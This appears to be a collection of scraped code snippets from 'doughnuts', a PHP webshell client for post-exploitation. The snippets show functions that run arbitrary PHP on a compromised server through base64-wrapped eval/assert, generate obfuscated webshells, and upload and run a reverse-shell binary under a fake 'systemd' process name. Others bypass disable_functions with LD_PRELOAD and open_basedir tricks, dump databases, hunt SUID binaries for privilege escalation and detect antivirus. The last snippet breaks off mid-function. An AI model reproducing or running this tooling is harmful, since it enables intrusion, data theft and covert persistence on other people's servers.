Esempio n. 1
0
def run(editor: str = ""):
    """
    execute

    execute Custom PHP code by notepad / vi as default or your own editor.

    eg: execute {editor=""}
    """
    file_name = str(uuid4())
    file_path = gget("webshell.download_path", "webshell")
    if not path.exists(file_path):
        makedirs(file_path)
    real_file_path = path.join(file_path, file_name).replace("\\", "/")
    open(real_file_path, "a").close()
    open_editor(real_file_path, editor)
    with open(real_file_path, "r") as f:
        code = f.read()
        if (code.startswith("<?php")):
            code = code[5:]
        if (code.endswith("?>")):
            code = code[:-2]
        print(color.yellow("Execute php code..."))
        res = send(code)
        if (not res):
            return
        text = res.r_text.strip()
        status_code = color.green(str(
            res.status_code)) if res.status_code == 200 else color.yellow(
                str(res.status_code))
        print(
            f"\n{color.green('Result:')}\n[{status_code}] {color.cyan('length')}: {len(text)} \n{text}\n"
        )
    remove(real_file_path)
Esempio n. 2
0
def thread_upload(web_file_path: str, data: str, number: int, blocksize: int):
    global UPLOAD_SUCCESS, COLOR_PRINT_LOCK
    retry_time = 5
    try:
        with COLOR_PRINT_LOCK:
            print(color.yellow("[Try] Upload block [%d]" % number))
        if (not UPLOAD_SUCCESS):
            return
        while retry_time:
            res = send(get_php_upload(web_file_path, data, number))
            if (res.r_text.strip() == "success"):
                with COLOR_PRINT_LOCK:
                    print(color.yellow("[Successs] Upload block [%d]" %
                                       number))
                break
            else:
                retry_time -= 1
                with COLOR_PRINT_LOCK:
                    print(color.red("[Failed] Upload block [%d]" % number))
                continue
        if (not retry_time):
            with COLOR_PRINT_LOCK:
                print(color.red("\n[Failed] Upload break [%d]\n" % number))
            UPLOAD_SUCCESS = False
            raise UploadBreakException("")
    except Exception:
        UPLOAD_SUCCESS = False
        raise UploadBreakException("")
Esempio n. 3
0
def run(lhost: str,
        port: int,
        mode: int = 0,
        fakename: str = "/usr/lib/systemd"):
    """
    reshell

    Bind a local port and wait for target connect back to get a full shell.

    eg: reshell {lhost} {port} {type=[python|upload]{1|2},default = 0 (Python:1 Not Python:2)} {(Only for Mode 2) fakename=/usr/lib/systemd}
    """
    if (is_windows(False) or is_windows()):
        print(color.red(f"Only for both system is linux."))
        return False
    try:
        port = int(port)
    except ValueError:
        port = 23333
    disable_func_list = gget("webshell.disable_functions", "webshell")
    MODE = 1
    print(color.yellow(f"Waring: You are using a testing command...."))
    print(color.yellow(f"        Please make sure Port {port} open...."))
    if (mode == 0):
        if (has_env("python")):
            print(color.green(f"Traget has python environment."))
            MODE == 1
        else:
            print(color.red(f"Traget has not python environment."))
            MODE == 2
    else:
        MODE = int(mode)

    if ("proc_open" in disable_func_list):
        print(color.red("proc_open is disabled... Try Mode 3"))
        return
    if (MODE == 1):
        print(color.yellow(f"Use Mode 1->python"))
        command = get_php(lhost, port)
    else:
        print(color.yellow(f"Use Mode 2->upload"))
        filename = encrypt(f"{lhost}-{port}")
        if not upload(
                path.join(gget("root_path"), "auxiliary", "reshell",
                          "reverse_server_x86_64"), "/tmp/%s" % filename,
                True):
            return
        command = get_system_code(
            f"cd /tmp && chmod +x {filename} && ./{filename} {fakename}",
            False)
    t = Thread(target=delay_send, args=(2, command))
    t.setDaemon(True)
    t.start()
    print(f"Bind port {color.yellow(str(port))}...")
    if (not bind(port, MODE)):
        print(color.red(f"Bind port error."))
    if (MODE == 3):
        res = send(f"unlink('/tmp/{filename}');")
        if (not res):
            return
Esempio n. 4
0
def run(file_name: str,
        keyword: str = "POST",
        passwd: str = "",
        salt: str = "",
        _type: int = 1):
    """
    generate

    Generate a webshell using doughnuts encoding (password and salt none is random).

    keyword:
      - GET
      - POST
      - COOKIE
      - HEADER

    _type:
      - 1 : Pudding
      - 2 : Icecream
      - 3 : Popsicle
      - 4 : Gululingbo
    """
    raw_keyword = keyword.upper()
    if (raw_keyword not in keyword_dict):
        print(color.red("\nKeyword error\n"))
        return
    keyword = keyword_dict[raw_keyword]
    if (_type not in type_dict):
        print(color.red("\nType error\n"))
        return
    passwd = str(passwd) if passwd else ranstr(randint(5, 8))
    salt = str(salt) if salt else ranstr(randint(5, 8))
    php = get_php(keyword, passwd, salt, _type)
    file_path, file_name = path.split(path.realpath(file_name))
    file_real_path = path.join(file_path, file_name)
    if (path.exists(file_real_path)):
        print(color.red("\nFile is exist\n"))
        return
    elif (not path.exists(file_path)):
        print(color.red("\nFile path is invalid\n"))
        return
    with open(file_real_path, "w+") as f:
        f.write(php)
    print(
        color.green(
            f"\ngenerate {type_dict[_type]}'s php in {file_real_path}! enjoy it!"
        ))
    print(color.yellow("\nUsage:"))
    print(
        color.yellow(
            f"    Interactive interface    : connect url {raw_keyword} {passwd} doughnuts-{salt}"
        ))
    print(
        color.yellow(
            f"    Non-Interactive interface: doughnuts connect url {raw_keyword} {passwd} doughnuts-{salt}\n"
        ))
Esempio n. 5
0
def run():
    """
    execute

    execute Custom PHP code by notepad/vi.

    eg: execute
    """
    file_name = "tmp" + str(uuid4())
    file_path = gget("webshell.download_path", "webshell").replace(":", "_")
    if not path.exists(file_path):
        makedirs(file_path)
    real_file_path = path.join(file_path, file_name)
    with open(real_file_path, "w"):
        pass
    open_editor(real_file_path)
    with open(real_file_path, "r") as f:
        code = f.read().strip("<?php").strip("?>")
        print(color.yellow("Execute php code..."))
        res = send(code)
        if (not res):
            return
        text = res.r_text.strip()
        print(color.green("\nResult:\n") + text + "\n")
    remove(real_file_path)
Esempio n. 6
0
def run(web_file_path: str):
    """
    write

    Write files directly to the target system by notepad/vi.

    eg: write {web_file_path}
    """
    file_name = path.split(web_file_path)[1]
    file_path = gget("webshell.download_path", "webshell").replace(":", "_")
    if not path.exists(file_path):
        makedirs(file_path)
    real_file_path = path.join(file_path, file_name)
    with open(real_file_path, "w"):
        pass
    open_editor(real_file_path)
    with open(real_file_path, "r") as f:
        result = base64_encode(f.read())
        res = send(
            f"print(file_put_contents('{web_file_path}', base64_decode('{result}')));"
        )
        if (not res):
            return
        text = res.r_text.strip()
        if (match(r"\w+", text) and text != '0'):
            print(color.green(f"\nWrite {web_file_path} success.\n"))
        else:
            print(
                color.red(f"\nWrite {web_file_path} failed.") +
                color.yellow("\n\nResponse:") + f"\n{text}\n")
    remove(real_file_path)
Esempio n. 7
0
def run(find_path: str = "/usr&/bin"):
    """
    av

    (Only for windows) Detect anti-virus software running on the target system.
    ps: Need to run system commands

    Origin: https://github.com/BrownFly/findAV, https://github.com/gh0stkey/avList
    """
    if (not is_windows()):
        print(color.red("\nTarget system isn't windows\n"))
        return
    res = send(get_system_code("tasklist /svc"))
    if (not res or not res.r_text
            or "No system execute function" in res.r_text):
        print(color.red("\nDetect error\n"))
        return
    with open(path.join(gget("root_path"), "auxiliary", "av", "av.json"),
              "r",
              encoding="utf-8") as f:
        av_processes = loads(f.read())
    flag = 0
    print("\n" + color.green(" " * 37 + "Result"))
    for line in res.r_text.split("\n"):
        process = line.split(' ')[0]
        if process in av_processes:
            flag = 1
            print("    %40s     -     %-30s" %
                  (color.cyan(process), color.yellow(av_processes[process])))
    if (not flag):
        print("    %40s     /      %-30s" %
              (color.green('No anti-virus'), color.red('Not found')))
    print()
Esempio n. 8
0
def run(database: str = "", local_path: str = "", encoding: str = "utf8", blocksize: int = 1000, exclude: str = "", include: str = "", threads: int = 5):
    """
    db_mdump

    Dump a database to a file by block compression and multi threads, Default file name is {database}.sql.
    You can use exclude options to exclude some tables.
    You can also use include options to dump only some tables.

    eg: db_mdump {database=current_database} {local_path=doughnuts/target/site.com/{database}.sql} {encoding="utf-8"} {blocksize=1000} {exclude="",eg="table1,table2"} {include="",eg="table1,table2"} {threads=5}
    """
    global LOCK
    if (not gget("db_connected", "webshell")):
        print(color.red("Please run db_init command first"))
        return
    database = database if database else gget("db_dbname", "webshell")
    download_path = local_path or gget("webshell.download_path", "webshell")
    if not path.exists(download_path):
        makedirs(download_path)
    res = send(get_table_name_php(database))
    if (not res):
        return
    tables = res.r_text.strip()
    with LOCK:
        print(color.yellow(f"\n[Try] Dump {database}\n"))
    with ThreadPoolExecutor(max_workers=threads) as tp:
        all_task = [tp.submit(thread_dump, database, table, encoding, download_path, blocksize, threads) for table in tables.split("\n") if table not in exclude.split(",")] if (
            not include) else [tp.submit(thread_dump, database, table, encoding, download_path, blocksize, threads) for table in tables.split("\n") if table in include.split(",")]
        wait(all_task, return_when=ALL_COMPLETED)
        with LOCK:
            print(color.green(f"\n[Success] Dump {database}\n"))
Esempio n. 9
0
def run(file_path: str, web_file_path: str = "", force: bool = False):
    """
    upload

    Upload file to target system.

    eg: upload {file_path} {web_file_path=file_name} {force=False}
    """
    flag = True
    if (not web_file_path):
        web_file_path = path.basename(file_path)
        flag = False
    try:
        fp = open(file_path, "rb")
    except FileNotFoundError:
        print("\n" + color.red("Local File not exist") + "\n")
        return
    php = get_php(web_file_path, force)
    res = send(php, files={"file": fp})
    if (not res):
        return
    text = res.r_text.strip()
    if text == "success":
        if (flag):
            print(
                color.green(
                    f"\nUpload {file_path} as {web_file_path} success\n"))
        else:
            print(color.green(f"\nUpload {file_path} success\n"))
        return True
    elif text == "exist":
        print(color.yellow(f"\n{web_file_path} exist\n"))
        return True
    else:
        print("\n" + color.red("Upload error / Privileges not enough") + "\n")
Esempio n. 10
0
def set_mode(mode: int, test: bool = False):
    if (mode == 4 and not gget("webshell.ld_preload_path", "webshell", False)):
        disable_func_list = gget("webshell.disable_functions", "webshell")
        if (not gget("webshell.ld_preload_path", "webshell", None)):
            filename = "/tmp/%s.so" % str(uuid4())
            ld_preload_func = send(get_detectd_ld_preload()).r_text.strip()
            upload_result = upload(
                path.join(getcwd(), "auxiliary", "ld_preload_x86_64.so"), filename, True)
            if (not upload_result):
                return
            gset("webshell.ld_preload_path", filename, True, "webshell")
            gset("webshell.ld_preload_func", ld_preload_func, True, "webshell")
            if ("putenv" in disable_func_list):
                print(color.red("\nputenv is disabled.\n"))
                return False
            if (not ld_preload_func):
                print(color.red("\nNo ld_preload function!\n"))
                return False
    if (mode in mode_require_ext_dict):
        ext = mode_require_ext_dict[mode]
        res = send(get_detectd_ext(ext))
        if (not res):
            return False
        text = res.r_text.strip()
        if ("exist" not in text):
            print(color.red(f"\nNo {ext} extension!\n"))
            return False
    if (not test):
        if (mode == 7):
            print(color.yellow(f"\nYou may need to wait 1 second to get the result..\n"))
        print(f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n")
        gset("webshell.bypass_df", mode, True, "webshell")
    return True
Esempio n. 11
0
def thread_dump(database, table, encoding, download_path, blocksize, threads):
    global LOCK
    table = table if table else "None"
    retry_time = 5
    row_number = -1
    while retry_time and row_number == -1:
        row_number = get_table_row_number(database, table)
        retry_time -= 1
        if (row_number != -1):
            with LOCK:
                print(f"[Retry] fetch {database}.{table} [rows: {row_number}]")
    if (row_number == -1):
        with LOCK:
            print(color.red(f"[Error] fetch {database}.{table}"))
        return
    file_name = f"{database}.{table}.sql"
    file_path = path.join(download_path, file_name).replace("\\", "/")
    with LOCK:
        print(color.yellow(
            f"[Try] fetch {database}.{table} [rows: {row_number}]"))
    with open(file_path, "wb") as f, ThreadPoolExecutor(max_workers=threads) as tp:
        f.write(get_table_construct(database, table, encoding))
        f.flush()
        
        all_task = [tp.submit(get_data, database, table, encoding, offset, blocksize)
                    for offset in range(0, row_number, blocksize)]
        for future in as_completed(all_task):
            result = future.result()
            if (result):
                f.write(future.result())
                f.flush()
        with LOCK:
            print(color.green(
                f"[Success] fetch {database}.{table} [rows: {row_number}]"))
Esempio n. 12
0
def run(find_path: str = "/usr&/bin"):
    """
    priv

    (Only for *unix) Find all files with suid belonging to root and try to get privilege escalation tips.
    ps:use & to split find_path

    eg: priv {find_path="/usr&/bin"}
    """
    if (is_windows()):
        print(color.red("\nTarget system isn't *unix\n"))
        return
    print(
        color.yellow(
            f"\nFinding all files with suid belonging to root in {find_path}...\n"
        ))
    phpcode = ""
    priv_tips = {}
    if ("&" in find_path):
        find_paths = find_path.split("&")
    else:
        find_paths = (find_path, )
    for each in find_paths:
        phpcode += get_system_code(
            f"find {each} -user root -perm -4000 -type f 2>/dev/null")
    res = send(phpcode)
    if (not res):
        return
    suid_commands = res.r_text.strip().split("\n")
    if (not suid_commands or "No system execute function" in suid_commands[0]):
        print(color.red("\nFind error\n"))
        return
    with open(path.join(gget("root_path"), "auxiliary", "priv", "gtfo.json"),
              "r") as f:
        priv_tips = loads(f.read())
    for cmd_path in suid_commands:
        cmd = cmd_path.split("/")[-1]
        if (cmd in priv_tips):
            print(
                color.yellow(cmd_path) +
                f" ( https://gtfobins.github.io/gtfobins/{cmd}/ )\n")
            for k, v in priv_tips[cmd].items():
                info = '\n'.join(v)
                print(f"""{color.cyan(k)}\n{color.green(info)}\n""")
Esempio n. 13
0
def run(file_name: str,
        keyword: str = "POST",
        passwd: str = "",
        salt: str = "",
        _type: int = 1):
    raw_keyword = keyword.upper()
    if (raw_keyword not in keyword_dict):
        print(color.red("\nKeyword error\n"))
        return
    keyword = keyword_dict[raw_keyword]
    if (_type not in template_name_dict):
        print(color.red("\nType error\n"))
        return
    passwd = str(passwd) if passwd else ranstr(randint(5, 8))
    salt = str(salt) if salt else ranstr(randint(5, 8))
    php = get_php(keyword, passwd, salt, _type)
    file_path, file_name = path.split(path.realpath(file_name))
    file_real_path = path.join(file_path, file_name)
    if (path.exists(file_real_path)):
        print(color.red("\nFile is exist\n"))
        return
    elif (not path.exists(file_path)):
        print(color.red("\nFile path is invalid\n"))
        return
    with open(file_real_path, "w+") as f:
        f.write(php)
    print(
        color.green(
            f"\ngenerate {template_name_dict[_type]}'s php in {file_real_path}! enjoy it!"
        ))
    print(color.yellow("\nUsage:"))
    print(
        color.yellow(
            f"    Interactive interface    : connect url {raw_keyword} {passwd} doughnuts-{salt}"
        ))
    print(
        color.yellow(
            f"    Non-Interactive interface: doughnuts connect url {raw_keyword} {passwd} doughnuts-{salt}\n"
        ))
Esempio n. 14
0
def run(timeout: float = 2.0):
    """
    check

    Check if each webshell is alive.

    eg: check {timeout=2.0}
    """
    if not exists("webshell.log"):
        print(color.red("No webshell.Log"))
        return 0
    with open("webshell.log", "r") as f:
        for index, line in enumerate(f, 1):
            url, method, pwd, *encode_functions = line.split("|")
            if method == "GET":
                raw_key = "params"
            elif method == "POST":
                raw_key = "data"
            elif method == "COOKIE":
                raw_key = "cookies"
            elif method == "HEADER":
                raw_key = "headers"
            else:
                print(
                    f"[{color.blue(str(index))}] {color.red('Method error')}")
                continue
            check_command = "print(md5(1));"
            encode_pf = gget("encode.pf")
            for func in encode_functions:
                if func in encode_pf:
                    check_command = encode_pf[func].run(check_command)
            params_dict = {"data": {}, "timeout": timeout}
            params_dict[raw_key] = {}
            params_dict[raw_key][pwd] = check_command
            common_text, status_code_text = "", "000"
            try:
                res = post(url, verify=False, **params_dict)
                status_code_text = str(res.status_code)
                if ("c4ca4238a0b923820dcc509a6f75849b" in res.text):
                    common_text = color.green("Alive")
                else:
                    common_text = color.red("Not Alive")
            except exceptions.Timeout:
                common_text = color.yellow("Timeout")
            except exceptions.RequestException:
                common_text = color.red("Request error")
            print(
                f"[{color.blue(str(index))}] [{color.yellow(status_code_text)}] {common_text} {url}"
            )
Esempio n. 15
0
def run(*web_file_paths):
    """
    cat

    Read file(s) from target system.

    eg: cat {web_file_path1} {web_file_path2} ..
    """
    for each_file_path in web_file_paths:
        res = send(
            f"print(file_get_contents(base64_decode('{base64_encode(each_file_path)}')));"
        )
        if (not res):
            return
        text = res.r_text.strip()
        if len(text):
            print("\n" + color.green(each_file_path))
            print("\n" + text + "\n")
        else:
            print("\n" + color.yellow(each_file_path))
            print("\n" + color.red("File not exist / Read error") + "\n")
Esempio n. 16
0
def clean_trace():
    def get_clean_ld_preload_php(filename: str):
        system_clean_command = f"rm -f {filename} && echo success"
        return """$f=base64_decode("%s");
    if (!unlink($f)){
        %s
    }else{echo "success";}
    """ % (base64_encode(filename), get_system_code(system_clean_command))

    ld_preload_filename = gget("webshell.ld_preload_path", "webshell", None)
    if (ld_preload_filename):
        print(color.yellow("\nClean LD_PRELOAD traces...\n"))
        res = send(get_clean_ld_preload_php(ld_preload_filename))
        if (res):
            text = res.r_text.strip()
            if ("success" in text):
                print(color.green("Clean success\n"))
            else:
                print(color.red("Clean failed\n"))
    gset("webshell.ld_preload_path", None, True, "webshell")
    gset("webshell.ld_preload_func", None, True, "webshell")
Esempio n. 17
0
def run(file_path: str,
        web_file_path: str = "",
        upload_type: int = 0,
        force: bool = False):
    """
    upload

    Upload file to target system.

    eg: upload {file_path} {web_file_path=file_name} {upload_type=0(FILES)/1(file_put_contents)} {force=False}
    """
    filename = path.basename(file_path)
    if (not web_file_path):
        web_file_path = filename
    try:
        fp = open(file_path, "rb")
    except FileNotFoundError:
        print("\n" + color.red("Local File not exist") + "\n")
        return
    if upload_type == 0:
        php = get_php(filename, web_file_path, force)
        res = send(php, files={"file": fp})
    else:
        php = get_php_file_put_contents(filename, web_file_path, force,
                                        b64encode(fp.read()).decode())
        res = send(php)
    if (not res):
        return
    text = res.r_text.strip()
    if "success" in text:
        print(color.green(f"\n{text}\n"))
        return True
    elif "exist" in text:
        print(color.yellow(f"\n{text}\n"))
        return True
    else:
        print("\n" + color.red(
            f"Upload error / Privileges not enough. Result: {text}") + "\n")
Esempio n. 18
0
def run(editor: str = ""):
    """
    execute

    execute Custom PHP code by notepad / vi as default or your own editor.

    eg: execute {editor=""}
    """
    file_name = str(uuid4())
    file_path = gget("webshell.download_path", "webshell")
    if not path.exists(file_path):
        makedirs(file_path)
    real_file_path = path.join(file_path, file_name).replace("\\", "/")
    open(real_file_path, "a").close()
    open_editor(real_file_path, editor)
    with open(real_file_path, "r") as f:
        code = f.read().strip("<?php").strip("?>")
        print(color.yellow("Execute php code..."))
        res = send(code)
        if (not res):
            return
        text = res.r_text.strip()
        print(color.green("\nResult:\n") + text + "\n")
    remove(real_file_path)
Esempio n. 19
0
def run(url: str, method: str = "GET", pwd: str = "pass", *encoders_or_params):
    """
    connect

    Connect a webshell of php.

    eg: connect {url} {method} {pass} {encoders_or_params...}
    """
    method = str(method).upper()
    params_dict = {"headers": {}}
    if method == "GET":
        raw_key = "params"
    elif method == "POST":
        raw_key = "data"
    elif method == "COOKIE":
        raw_key = "cookies"
    elif method == "HEADER":
        raw_key = "headers"
    else:
        print(color.red("Method error"))
        return
    if (is_windows(False)):
        new_eop = []
        extra_params = []
        pass_next = False
        eop_len = len(encoders_or_params)
        for i in range(eop_len):  # 清洗数据,解决windows下a=b传成2个参数的错误
            v = str(encoders_or_params[i])
            if (pass_next):
                pass_next = False
                continue
            if (":" not in v):
                new_eop.append(str(v))
            elif (i < eop_len - 1):
                extra_params.append(v + "=" + str(encoders_or_params[i+1]))
                pass_next = True
        encoders_or_params = new_eop
    extra_params = [f for f in encoders_or_params if "=" in str(f)]
    params_dict[raw_key] = {}
    for each in extra_params:
        if(":" in each):
            k, data = each.split(":")
            if (k not in params_dict):
                params_dict[k] = {}
            params_dict[k].update(dict([(k, value_translation(v[0]))
                                        for k, v in parse_qs(data).items()]))
        else:
            k, data = each.split("=")
            if (k not in params_dict):
                params_dict[k] = {}
            if (k == "auth"):
                params_dict[k] = value_translation(data)
    webshell_netloc = urlparse(url).netloc
    gset("webshell.url", url, namespace="webshell")
    gset("webshell.params_dict", params_dict, namespace="webshell")
    gset("webshell.password", str(pwd), namespace="webshell")
    gset("webshell.method", raw_key, namespace="webshell")
    gset("webshell.encode_functions", encoders_or_params, namespace="webshell")
    gset("webshell.netloc", webshell_netloc, namespace="webshell")
    gset(
        "webshell.download_path",
        path.join(gget("root_path"), "target",
                  webshell_netloc.replace(":", "_")),
        namespace="webshell",
    )
    gset("webshell.pwd", ".", namespace="webshell")
    gset("webshell.bypass_df", -1, namespace="webshell")
    version_flag_start = randstr(
        string=ascii_letters + digits, offset=randint(32, 62))
    version_flag_end = randstr(
        string=ascii_letters + digits, offset=randint(32, 62))
    res = send(
        'print("' + version_flag_start + '|".phpversion()."|' + version_flag_end + '");', raw=True)
    if (not res or version_flag_start not in res.r_text):
        print(color.red("Connect failed..."))
        if (res):
            print(res.r_text)
        return False
    if ('7.' in res.r_text):
        gset("webshell.v7", True, namespace="webshell")
    if version_flag_start in res.r_text:  # 验证是否成功连接
        gset("webshell.php_version", res.r_text.split(version_flag_start + "|")[
             1].split("|" + version_flag_end)[0], namespace="webshell")
        info_req = send(
            """$bit=PHP_INT_SIZE==4?32:64;
print($_SERVER['DOCUMENT_ROOT'].'|'.php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].'|'.getcwd().'|'.sys_get_temp_dir().'|'.ini_get('disable_functions').'|'.ini_get('open_basedir').'|'.$bit.'|'.DIRECTORY_SEPARATOR);"""
        )
        info = info_req.r_text.strip().split("|")
        exec_func = send(get_detectd_exec_php()).r_text.strip()
        prepare_system_template(exec_func)
        gset("webshell.root", info[0], namespace="webshell")
        gset(
            "webshell.iswin",
            (True if "win" in info[1].lower() else False),
            namespace="webshell",
        )
        gset("webshell.server_version", info[2], namespace="webshell")
        gset("webshell.pwd", info[3], namespace="webshell")
        gset("webshell.prompt",
             f"doughnuts ({color.cyan(webshell_netloc)}) > ")
        gset("webshell.exec_func", exec_func, namespace="webshell")
        upload_tmp_dir = info[4]
        if (not upload_tmp_dir):
            if (not is_windows()):
                upload_tmp_dir = "/tmp/"
        else:
            if (is_windows()):
                upload_tmp_dir += "\\\\"
            else:
                upload_tmp_dir += "/"
        gset("webshell.upload_tmp_dir", upload_tmp_dir, namespace="webshell")
        disable_function_list = [f.strip() for f in info[5].split(",")]
        if ('' in disable_function_list):
            disable_function_list.remove('')
        gset("webshell.obd", info[6], namespace="webshell")
        bits = info[7]
        try:
            bits = int(bits)
        except ValueError:
            bits = 0
            print(color.yellow("detect architecture error\n"))
        gset("webshell.os_version", info[1] + " (%d bits)" % bits, namespace="webshell")
        gset("webshell.arch", bits, namespace="webshell")
        gset("webshell.directory_separator", info[8], namespace="webshell")
        gset("webshell.disable_functions",
             disable_function_list, namespace="webshell")
        root_path = gget("root_path")
        from_log = gget("webshell.from_log", "webshell")
        if not from_log:
            extra = "|".join(encoders_or_params) + \
                "|" if encoders_or_params else ""
            with open(path.join(root_path, "webshell.log"), "ab+") as f:
                text = f.read()
                if (text):
                    f.seek(-1, SEEK_END)
                    if f.read(1) != b"\n":
                        f.write(b"\n")
                f.write(f"{url}|{method}|{pwd}|{extra}\n".encode())
        else:
            gset("webshell.from_log", False, True, "webshell")
        print(color.cyan("Connect success...\n"))
        print_webshell_info()
        set_namespace("webshell", callback=False)
        update_prompt()
        if (exec_func == ''):
            print(color.red("No system execute function\n"))
        return True
Esempio n. 20
0
def send(data: str, raw: bool = False, **extra_params):
    offset = 8
    encode_recv = False

    url = gget("webshell.url", "webshell")
    params_dict = gget("webshell.params_dict", "webshell").copy()
    php_v7 = gget("webshell.v7", "webshell")
    password = gget("webshell.password", "webshell")
    raw_key = gget("webshell.method", "webshell")
    encode_functions = gget("webshell.encode_functions", "webshell")
    encode_pf = gget("encode.pf")
    params_dict.update(extra_params)
    if "data" not in params_dict:
        params_dict["data"] = {}
    head = randstr("!@#$%^&*()[];,.?", offset)
    tail = randstr("!@#$%^&*()[];,.?", offset)
    pwd_b64 = b64encode(gget("webshell.pwd", "webshell",
                             "Lg==").encode()).decode()
    if not raw:
        encode_head = "ob_start();" if encode_recv else ""
        encode_tail = """$ooDoo=ob_get_clean();
$encode = mb_detect_encoding($ooDoo, array("ASCII",'UTF-8',"GB2312","GBK",'BIG5','ISO-8859-1','latin1'));
$ooDoo = mb_convert_encoding($ooDoo, 'UTF-8', $encode);
print(base64_encode($ooDoo));""" if encode_recv else ""
        data = f"""error_reporting(0);{encode_head}chdir(base64_decode("{pwd_b64}"));print("{head}");""" + data
        if (gget("webshell.bypass_obd", "webshell")):
            data = """$dir=pos(glob("./*", GLOB_ONLYDIR));
$cwd=getcwd();
$ndir="./%s";
if($dir === false){
$r=mkdir($ndir);
if($r === true){$dir=$ndir;}}
chdir($dir);
ini_set("open_basedir","..");
$c=substr_count(getcwd(), "/");
for($i=0;$i<$c;$i++) chdir("..");
ini_set("open_basedir", "/");
chdir($cwd);rmdir($ndir);""" % (uuid4()) + data
        data += f"""print("{tail}");{encode_tail}"""
        data = f"""eval(base64_decode("{base64_encode(data)}"));"""
        if (not php_v7):
            data = f"""assert(eval(base64_decode("{base64_encode(data)}")));"""
    for func in encode_functions:
        if func in encode_pf:
            data = encode_pf[func].run(data)
        elif ("doughnuts" in str(func)):
            _, salt = func.split("-")
            data = encode_pf["doughnuts"].run(data, salt)
    if (raw_key == "cookies"):
        data = quote(data)
    params_dict['headers']['User-agent'] = fake_ua()
    params_dict['headers']['Referer'] = fake_referer()
    params_dict[raw_key][password] = data
    try:
        req = Session.post(url, verify=False, **params_dict)
    except requests.RequestException:
        print(color.red("\nRequest Error\n"))
        return
    if (req.apparent_encoding):
        req.encoding = encoding = req.apparent_encoding
    else:
        encoding = "utf-8"
    if (raw or not encode_recv):
        text = req.text
        content = req.content
    else:
        text = base64_decode(req.text)
        content = b64decode(req.content)
    text_head_offset = text.find(head)
    text_tail_offset = text.find(tail)
    text_head_offset = text_head_offset + \
        offset if (text_head_offset != -1) else 0
    text_tail_offset = text_tail_offset if (
        text_tail_offset != -1) else len(text)
    con_head_offset = content.find(head.encode(encoding))
    con_tail_offset = content.find(tail.encode(encoding))
    con_head_offset = con_head_offset + \
        offset if (con_head_offset != -1) else 0
    con_tail_offset = con_tail_offset if (
        con_tail_offset != -1) else len(content)
    req.r_text = text[text_head_offset:text_tail_offset]
    req.r_content = content[con_head_offset:con_tail_offset]
    req.r_json = MethodType(r_json, req)
    if DEBUG["SEND"]:  # DEBUG
        print(color.yellow(f"-----DEBUG START------"))
        print(f"[{req.status_code}] {url} length: {len(req.r_text)} ", end="")
        print(f"raw: {color.green('True')}" if raw else '')
        for k, v in params_dict.items():
            print(f"{k}: ", end="")
            pprint(v)
        print(color.green(f"----DEBUG RESPONSE----"))
        print(req.r_text)
        if (not req.r_text):
            print(color.green(f"----DEBUG RAW RESPONSE----"))
            print(req.text)
        print(color.yellow(f"------DEBUG END-------\n"))
    return req
Esempio n. 21
0
def run(url: str,
        method: str,
        data: str = '',
        params: str = '',
        cookie: str = '',
        type: int = 1,
        timeout: float = 3,
        redirect_method: str = "POST",
        redirect_auto: int = 1,
        redirect_cookie_use: int = 1,
        create_dir: int = 0):
    """
    agent

    Lightweight intranet browsing.

    eg: agent {url} {method} {data=''} {params=''} {cookie=''} {type=[socket|file_get_contents|curl]{1|2|3},default = 1} {timeout=3} {redirect_method=POST} {redirect_auto=1} {redirect_cookie_use=1} {create_dir=0}
    """

    php = get_php(url, method.upper(), redirect_method.upper(), data, params,
                  cookie, redirect_auto, redirect_cookie_use, timeout, type)
    res = send(php)
    if (not res):
        return
    text = res.r_text

    # ------------------------------------------

    try:

        current_status = findall('<CurrentStatus>(.*)</CurrentStatus>', text,
                                 I + M)
        assert len(current_status), "Can't get status```"
        current_status = current_status[0]

        current_url = findall('<CurrentUrl>(.*)</CurrentUrl>', text, I + M)
        current_url = base64_decode(current_url[0]) if len(current_url) else ''

        current_cookie = findall('<CurrentCookie>(.*)</CurrentCookie>', text,
                                 I + M)
        current_cookie = base64_decode(
            current_cookie[0]) if len(current_cookie) else ''

        current_header = findall('<CurrentHeader>(.*)</CurrentHeader>', text,
                                 I + M)
        current_header = "\n    ".join(
            base64_decode(line) for line in current_header[0].split(
                "|")) if len(current_header) else ''

        if (current_status == "success"):
            print(
                color.magenta("Current Url: ") + color.cyan(current_url) +
                "\n")
            print(
                color.blue("Response Headers: \n\n") + " " * 4 +
                color.white(current_header))
            print(
                color.blue("Cookie: \n\n") + " " * 4 +
                color.red(current_cookie) + "\n")
            print(color.yellow("*" * 20 + " Body " + "*" * 20) + "\n\n")
            print(color.cyan(text) + "\n\n")
            print(color.yellow("*" * 20 + " END " + "*" * 21) + "\n\n")
            if (create_dir == 1):
                dir_path = dirname(current_url.split("//", maxsplit=1)[1])
                dir_path = dir_path.replace(":", "-")
                dir_path = dir_path.replace('.', "_")
                file_name = "".join(
                    hex(each)[2:].zfill(2)
                    for each in urandom(20)) + "_" + str(time()) + '.html'

                if (not exists(dir_path)):
                    makedirs(dir_path)

                method = "w"
                try:
                    contents = text.encode()
                    method = "wb"
                except Exception:
                    contents = text

                with open(dir_path + "/" + file_name, method) as out_file:
                    out_file.write(contents)

                print(
                    color.blue("Outfile: ") +
                    color.cyan(dir_path + "/" + file_name) + "\n\n")

    except Exception as e:
        print("Agent error.", e)
Esempio n. 22
0
def set_mode(mode: int, test: bool = False):
    if (mode in mode_require_ext_dict):
        ext = mode_require_ext_dict[mode]
        res = send(get_detectd_ext(ext))
        if (not res):
            return False
        text = res.r_text.strip()
        if ("exist" not in text):
            print(color.red(f"\nNo {ext} extension\n"))
            return False
    if (mode == 4 and not gget("webshell.ld_preload_path", "webshell",
                               False)):  # ld_preload
        disable_func_list = gget("webshell.disable_functions", "webshell")
        if (not gget("webshell.ld_preload_path", "webshell", None)):
            filename = "/tmp/%s.so" % str(uuid4())
            ld_preload_func = send(get_detectd_ld_preload()).r_text.strip()
            upload_result = upload(
                path.join(gget("root_path"), "auxiliary", "ld_preload",
                          "ld_preload_x86_64.so"), filename, True)
            if (not upload_result):
                return
            gset("webshell.ld_preload_path", filename, True, "webshell")
            gset("webshell.ld_preload_func", ld_preload_func, True, "webshell")
            if ("putenv" in disable_func_list):
                print(color.red("\nputenv is disabled\n"))
                return False
            if (not ld_preload_func):
                print(color.red("\nNo ld_preload function!\n"))
                return False
    elif (mode == 8):  # udf
        if (gget("db_connected", "webshell")
                and gget("db_dbms", "webshell") == "mysql"):
